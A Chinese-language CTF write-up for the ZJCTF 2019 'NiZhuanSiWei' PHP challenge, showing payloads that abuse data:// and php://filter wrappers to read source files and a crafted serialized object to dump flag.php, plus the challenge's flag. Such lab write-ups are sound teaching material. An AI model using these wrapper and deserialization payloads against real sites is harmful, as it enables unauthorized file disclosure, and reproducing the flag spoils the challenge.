[ZJCTF 2019]NiZhuanSiWei

启动靶机,查看源代码
图片[1]-[ZJCTF 2019]NiZhuanSiWei - 千百度社区-千百度社区
查询file_get_contents()函数 这里传入的text必须是个文件且文件内容为welcome to the zjctf
图片[2]-[ZJCTF 2019]NiZhuanSiWei - 千百度社区-千百度社区
这里我们使用data伪协议将内容写入
?text=data://text/plain,welcome to the zjctf
往下看有个正则表达式过滤flag,继续往下
图片[3]-[ZJCTF 2019]NiZhuanSiWei - 千百度社区-千百度社区
很明显是php的反序列化利用,却没有看到利用类的构造代码,正则过滤了flag.php,我们只能尝试访问useless.php
图片[4]-[ZJCTF 2019]NiZhuanSiWei - 千百度社区-千百度社区
利用?text=data://text/plain,welcome to the zjctf &file=useless.php没反应
尝试filter伪协议读取
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
图片[5]-[ZJCTF 2019]NiZhuanSiWei - 千百度社区-千百度社区
解码后得到useless.php
图片[3]-[ZJCTF 2019]NiZhuanSiWei - 千百度社区-千百度社区
到这里逻辑就清晰了,因为反序列化在正则表达式后,我们只需在反序列化时将file值赋为flag.php,再利用__tostring函数在echo时自动调用的特性将flag.php打印出来
图片[7]-[ZJCTF 2019]NiZhuanSiWei - 千百度社区-千百度社区
构造如下,只需对file变量赋值 得到 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
图片[8]-[ZJCTF 2019]NiZhuanSiWei - 千百度社区-千百度社区
最终payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码发现flag flag{17e56d67-d376-4aeb-8de3-a411874f6256}

千百度
© 版权声明
THE END
喜欢就支持一下吧
点赞444 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容